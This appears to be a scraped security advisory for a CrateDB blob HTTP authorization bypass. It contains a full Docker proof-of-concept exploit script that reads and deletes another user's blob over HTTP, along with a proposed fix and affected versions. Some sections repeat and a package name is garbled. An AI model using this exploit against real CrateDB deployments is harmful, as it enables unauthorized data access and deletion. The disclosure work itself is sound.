</details> <details> <summary><code>run.sh</code></summary> ```bash #!/usr/bin/env bash set -euo pipefail cd "$(dirname "$0")" RED='\033[0;31m' GREEN='\033[0;32m' YELLOW='\033[1;33m' NC='\033[0m' info() { printf "${YELLOW}[INFO]${NC} %s\n" "$1"; } # Pick whichever Compose CLI is available (docker compose v2 vs legacy # docker-compose binary). Both are common in the wild. if docker compose version >/dev/null 2>&1; then DC=(docker compose) elif command -v docker-compose >/dev/null 2>&1; then DC=(docker-compose) else echo "ERROR: neither 'docker compose' (v2) nor 'docker-compose' (v1) is installed." >&2 exit 2 fi cleanup() { info "Stopping containers..." "${DC[@]}" down -v 2>/dev/null || true } trap cleanup EXIT info "Starting CrateDB with authentication enabled..." "${DC[@]}" up -d info "Waiting for CrateDB to become healthy..." for i in $(seq 1 60); do if curl -sf http://localhost:4200/ > /dev/null 2>&1; then break fi sleep 1 done # Verify CrateDB is actually ready for SQL connections for i in $(seq 1 30); do if PGPASSWORD="" psql -h localhost -p 5432 -U crate -d doc -c "SELECT 1" > /dev/null 2>&1; then break fi sleep 1 done info "Running setup SQL as superuser (crate)..." PGPASSWORD="" psql -h localhost -p 5432 -U crate -d doc -f setup.sql # Give CrateDB a moment to propagate user/privilege changes sleep 2 info "Running exploit..." echo "" bash exploit.sh ``` </details> ## Fixing Plumb `AccessControl` into `HttpBlobHandler`. Before dispatching the verb at `handleBlobRequest:181`, resolve the connecting role from the channel attribute the auth filter already sets, build an `AccessControlImpl`, and call `ensureHasPrivilege(...)` for the verb. Failures produce `MissingPrivilegeException`, which the existing exception-to-HTTP mapping turns into `403 Forbidden`. SQL and HTTP then share one authorization decision. | HTTP verb | SQL equivalent | Required privilege on `blob.<table>` | |---|---|---| | `GET` / `HEAD` | `SELECT` | `DQL` | | `PUT` | `INSERT` / `UPDATE` | `DML` | | `DELETE` | `DELETE` | `DML` | Alternatives I'd avoid: pushing checks down into `BlobService` (every caller has to remember to pass a role) or wrapping the handler in a separate Netty filter (works but separates the check from the action it gates). ## Notes Deployments that don't use `BLOB TABLE` are unaffected. Authentication itself still works; the bug is strictly that being authenticated as anyone is treated as sufficient for any blob op.
AI coding agents often install or upgrade packages automatically in maven. A low vulnerability in a dependency can be pulled into a project through a normal install or update without a human reviewing the change, expanding the blast radius from a single package to every agent workspace that depends on it.
| Package | Affected range | Fixed version |
|---|---|---|
| io.crate:cratemaven | <6.2.8 | 6.2.8 |
| io.crate:cratemaven | >=6.3.0,<6.3.2 | 6.3.2 |
Fixed versions are reported by the source feed; confirm compatibility before updating.
Reported by GitHub Security Advisories (ghsa).
HOL Guard can help your team review package activity against supported protection paths.
Explore HOL GuardUpdate io.crate:crate to 6.2.8; io.crate:crate to 6.3.2 if you use the affected versions. Test the change in a non-production environment first.
Local check
hol-guard supply-chain scanCrateDB's Blob HTTP handler bypasses authorization affects io.crate:crate (maven), io.crate:crate (maven). Severity is low. **Component:** `io.crate.protocols.http.HttpBlobHandler` **Affected:** verified against CrateDB 6.2.7 (latest at time of report; the bug has existed since the blob HTTP handler was introduced) **Impact:** any authenticated user can read or delete any blob whose SHA-1 digest they know, and can plant new blobs unconditionally, in any blob table, regardless of `GRANT`s. --- ## Summary CrateDB has two ways to access blob storage: SQL (`SELECT ... FROM blob.<table>` and friends) and the blob HTTP API (`GET|PUT|DELETE /_blobs/{table}/{digest}`). The SQL path goes through `AccessControl`, which is what enforces privilege grants; that's why `SELECT digest FROM blob.secret_blobs` fails for a user who has no grants on the table. The HTTP path authenticates the request but never asks `AccessControl` whether the authenticated user is allowed to touch the table. So a user with no grants gets `MissingPrivilegeException` from SQL and `200 OK` plus the blob bytes from `GET /_blobs/secret_blobs/<digest>`. ## Where it lives `server/src/main/java/io/crate/protocols/http/HttpBlobHandler.java`. The dispatcher: ```java // HttpBlobHandler.java:176 private void handleBlobRequest(@Nullable HttpContent content) throws IOException { if (possibleRedirect(index, digest)) { return; } if (method.equals(HttpMethod.GET)) { get(index, digest); reset(); } else if (method.equals(HttpMethod.HEAD)) { head(index, digest); } else if (method.equals(HttpMethod.PUT)) { put(content, index, digest); } else if (method.equals(HttpMethod.DELETE)) { delete(index, digest); } else { simpleResponse(HttpResponseStatus.METHOD_NOT_ALLOWED); } } ``` No `AccessControl` reference, no privilege check. Each branch goes straight to the relevant blob op (`get`/`head`/`put`/`delete`); for example: ```java // HttpBlobHandler.java:287 private void get(String index, final String digest) throws IOException { if (range != null) { partialContentResponse(index, digest); } else { fullContentResponse(index, digest); } } ``` `grep -n 'AccessControl\|ensureMaySee\|checkPermission' HttpBlobHandler.java` returns nothing. The APIs that should be called here, used by the SQL path before every statement is dispatched: - `server/src/main/java/io/crate/auth/AccessControl.java` (interface, declares `ensureMayExecute(...)` and `ensureMaySee(...)`) - `server/src/main/java/io/crate/auth/AccessControlImpl.java:133` (concrete impl) ## Threat model Unconditional in code, gated in practice by digest knowledge; CrateDB has no enumeration channel. `HEAD /_blobs/<table>/<digest>` is the existence oracle; candidate digests may come from side channels such as app metadata, logs, known-file probes. | Capability | Needs digest? | Impact | |---|---|---| | Read or delete a blob | yes | High when digests leak, nil otherwise | | Plant new blobs (PUT) | no | Storage pollution; SHA-1 check blocks forging under a victim's digest | Digest secrecy is not a documented security boundary. ## Reproduction End-to-end Docker PoC. Two users, one blob, both ingress paths exercised side by side. `./run.sh` brings up a CrateDB container with HBA enabled, creates an `admin` (with `ALL PRIVILEGES`) and an `unprivileged` user (with no grants), uploads a blob as admin, then runs six steps: 1. Admin uploads a blob via `PUT /_blobs/...`. Success (201). 2. Admin reads via SQL. Success. 3. **Unprivileged user reads via SQL.** Denied (correct, this is what we want). 4. **Unprivileged user reads via `GET /_blobs/...`.** `200 OK` plus the blob payload (the bug). 5. **Unprivileged user deletes via `DELETE /_blobs/...`.** `204 No Content` (the bug, again). 6. Admin re-checks via SQL. Confirms the blob is gone, deleted by a user with zero grants. Sample output from a real run: ``` === Step 3: Unprivileged user CANNOT read via SQL (expected) === [PASS] Unprivileged user correctly denied SQL access [INFO] Server response: ERROR: Schema 'blob' unknown ... === Step 4: BUG -- Unprivileged user CAN read blob via HTTP === [FAIL] Unprivileged user READ the blob via HTTP (HTTP 200) -- AUTHORIZATION BYPASS [INFO] Retrieved content: TOP SECRET: this data should only be accessible to admin === Step 5: BUG -- Unprivileged user CAN delete blob via HTTP DELETE === [FAIL] Unprivileged user DELETED the blob via HTTP (HTTP 204) -- AUTHORIZATION BYPASS ``` ### PoC files <details> <summary><code>docker-compose.yml</code></summary> ```yaml services: cratedb: image: crate:6.2.7 ports: - "4200:4200" - "5432:5432" command: > crate -Cnetwork.host=0.0.0.0 -Cdiscovery.type=single-node -Cauth.host_based.enabled=true -Cauth.host_based.config.0.user=crate -Cauth.host_based.config.0.method=trust -Cauth.host_based.config.99.method=password -Cblobs.path=/data/blobs environment: - CRATE_HEAP_SIZE=512m healthcheck: test: ["CMD-SHELL", "curl -sf http://localhost:4200/ || exit 1"] interval: 5s timeout: 5s retries: 12 ``` HBA rule 0 trusts the built-in `crate` superuser so `setup.sql` can bootstrap users; rule 99 forces password auth for everyone else. `network.host=0.0.0.0` overrides the default `_site_` bind, which fails when Docker's interfaces have no site-local address. </details> <details> <summary><code>setup.sql</code></summary> ```sql -- Create the blob table CREATE BLOB TABLE secret_blobs; -- Create admin user with full access CREATE USER admin WITH (password = 'adminpass'); GRANT ALL PRIVILEGES ON TABLE blob.secret_blobs TO admin; -- Create unprivileged user with NO access to the blob table CREATE USER unprivileged WITH (password = 'unpriv123'); -- Intentionally no GRANT for unprivileged user ``` </details> <details> <summary><code>exploit.sh</code></summary> ```bash #!/usr/bin/env bash set -euo pipefail CRATE_HTTP="http://localhost:4200" BLOB_TABLE="secret_blobs" BLOB_CONTENT="TOP SECRET: this data should only be accessible to admin" RED='\033[0;31m' GREEN='\033[0;32m' YELLOW='\033[1;33m' CYAN='\033[0;36m' NC='\033[0m' header() { printf "\n${CYAN}=== %s ===${NC}\n" "$1"; } pass() { printf "${GREEN}[PASS]${NC} %s\n" "$1"; } fail() { printf "${RED}[FAIL]${NC} %s\n" "$1"; } info() { printf "${YELLOW}[INFO]${NC} %s\n" "$1"; } sql_as() { local user="$1" pass="$2" query="$3" PGPASSWORD="$pass" psql -h localhost -p 5432 -U "$user" -d doc -tAc "$query" 2>&1 } # --------------------------------------------------------------------------- header "Step 1: Upload a blob as admin via HTTP" # --------------------------------------------------------------------------- DIGEST=$(echo -n "$BLOB_CONTENT" | sha1sum | awk '{print $1}') info "Blob SHA1 digest: $DIGEST" HTTP_CODE=$(curl -s -o /dev/null -w "%{http_code}" \ -u admin:adminpass \ -XPUT "${CRATE_HTTP}/_blobs/${BLOB_TABLE}/${DIGEST}" \ -d "$BLOB_CONTENT") if [[ "$HTTP_CODE" == "201" || "$HTTP_CODE" == "409" ]]; then pass "Admin uploaded blob via HTTP (HTTP $HTTP_CODE)" else fail "Admin blob upload returned HTTP $HTTP_CODE" exit 1 fi # --------------------------------------------------------------------------- header "Step 2: Admin CAN read blob metadata via SQL (expected)" # --------------------------------------------------------------------------- RESULT=$(sql_as admin adminpass "SELECT digest FROM blob.secret_blobs LIMIT 1") if [[ -n "$RESULT" ]]; then pass "Admin can query blob.secret_blobs via SQL: digest=$RESULT" else fail "Admin SQL query returned no results" fi # --------------------------------------------------------------------------- header "Step 3: Unprivileged user CANNOT read via SQL (expected)" # --------------------------------------------------------------------------- RESULT=$(sql_as unprivileged unpriv123 "SELECT digest FROM blob.secret_blobs LIMIT 1" || true) if echo "$RESULT" | grep -qi "denied\|permission\|unauthorized\|not authorized"; then pass "Unprivileged user correctly denied SQL access" info "Server response: $(echo "$RESULT" | head -1)" else fail "Unprivileged user was NOT denied SQL access (unexpected): $RESULT" fi # --------------------------------------------------------------------------- header "Step 4: BUG -- Unprivileged user CAN read blob via HTTP" # --------------------------------------------------------------------------- HTTP_CODE=$(curl -s -o /tmp/blob_out -w "%{http_code}" \ -u unprivileged:unpriv123 \ "${CRATE_HTTP}/_blobs/${BLOB_TABLE}/${DIGEST}") BODY=$(cat /tmp/blob_out) if [[ "$HTTP_CODE" == "200" ]]; then fail "Unprivileged user READ the blob via HTTP (HTTP $HTTP_CODE) -- AUTHORIZATION BYPASS" info "Retrieved content: ${BODY}" else pass "Unprivileged user was denied HTTP blob read (HTTP $HTTP_CODE)" fi # --------------------------------------------------------------------------- header "Step 5: BUG -- Unprivileged user CAN delete blob via HTTP DELETE" # --------------------------------------------------------------------------- HTTP_CODE=$(curl -s -o /dev/null -w "%{http_code}" \ -u unprivileged:unpriv123 \ -XDELETE "${CRATE_HTTP}/_blobs/${BLOB_TABLE}/${DIGEST}") if [[ "$HTTP_CODE" == "204" || "$HTTP_CODE" == "200" ]]; then fail "Unprivileged user DELETED the blob via HTTP (HTTP $HTTP_CODE) -- AUTHORIZATION BYPASS" else pass "Unprivileged user was denied HTTP blob delete (HTTP $HTTP_CODE)" fi # --------------------------------------------------------------------------- header "Step 6: Confirm blob is gone (admin perspective)" # --------------------------------------------------------------------------- RESULT=$(sql_as admin adminpass "SELECT count(*) FROM blob.secret_blobs WHERE digest = '$DIGEST'") if [[ "$RESULT" == "0" ]]; then fail "Blob confirmed deleted -- unprivileged user destroyed admin's data" else info "Blob still exists (count=$RESULT)" fi ``` </details> <details> <summary><code>run.sh</code></summary> ```bash #!/usr/bin/env bash set -euo pipefail cd "$(dirname "$0")" RED='\033[0;31m' GREEN='\033[0;32m' YELLOW='\033[1;33m' NC='\033[0m' info() { printf "${YELLOW}[INFO]${NC} %s\n" "$1"; } # Pick whichever Compose CLI is available (docker compose v2 vs legacy # docker-compose binary). Both are common in the wild. if docker compose version >/dev/null 2>&1; then DC=(docker compose) elif command -v docker-compose >/dev/null 2>&1; then DC=(docker-compose) else echo "ERROR: neither 'docker compose' (v2) nor 'docker-compose' (v1) is installed." >&2 exit 2 fi cleanup() { info "Stopping containers..." "${DC[@]}" down -v 2>/dev/null || true } trap cleanup EXIT info "Starting CrateDB with authentication enabled..." "${DC[@]}" up -d info "Waiting for CrateDB to become healthy..." for i in $(seq 1 60); do if curl -sf http://localhost:4200/ > /dev/null 2>&1; then break fi sleep 1 done # Verify CrateDB is actually ready for SQL connections for i in $(seq 1 30); do if PGPASSWORD="" psql -h localhost -p 5432 -U crate -d doc -c "SELECT 1" > /dev/null 2>&1; then break fi sleep 1 done info "Running setup SQL as superuser (crate)..." PGPASSWORD="" psql -h localhost -p 5432 -U crate -d doc -f setup.sql # Give CrateDB a moment to propagate user/privilege changes sleep 2 info "Running exploit..." echo "" bash exploit.sh ``` </details> ## Fixing Plumb `AccessControl` into `HttpBlobHandler`. Before dispatching the verb at `handleBlobRequest:181`, resolve the connecting role from the channel attribute the auth filter already sets, build an `AccessControlImpl`, and call `ensureHasPrivilege(...)` for the verb. Failures produce `MissingPrivilegeException`, which the existing exception-to-HTTP mapping turns into `403 Forbidden`. SQL and HTTP then share one authorization decision. | HTTP verb | SQL equivalent | Required privilege on `blob.<table>` | |---|---|---| | `GET` / `HEAD` | `SELECT` | `DQL` | | `PUT` | `INSERT` / `UPDATE` | `DML` | | `DELETE` | `DELETE` | `DML` | Alternatives I'd avoid: pushing checks down into `BlobService` (every caller has to remember to pass a role) or wrapping the handler in a separate Netty filter (works but separates the check from the action it gates). ## Notes Deployments that don't use `BLOB TABLE` are unaffected. Authentication itself still works; the bug is strictly that being authenticated as anyone is treated as sufficient for any blob op.
AI coding agents often install or upgrade packages automatically in maven. A low vulnerability in a dependency can be pulled into a project through a normal install or update without a human reviewing the change, expanding the blast radius from a single package to every agent workspace that depends on it.
| Package | Affected range | Fixed version |
|---|---|---|
| io.crate:cratemaven | <6.2.8 | 6.2.8 |
| io.crate:cratemaven | >=6.3.0,<6.3.2 | 6.3.2 |
Fixed versions are reported by the source feed; confirm compatibility before updating.
Reported by GitHub Security Advisories (ghsa).
HOL Guard can help your team review package activity against supported protection paths.
Explore HOL Guard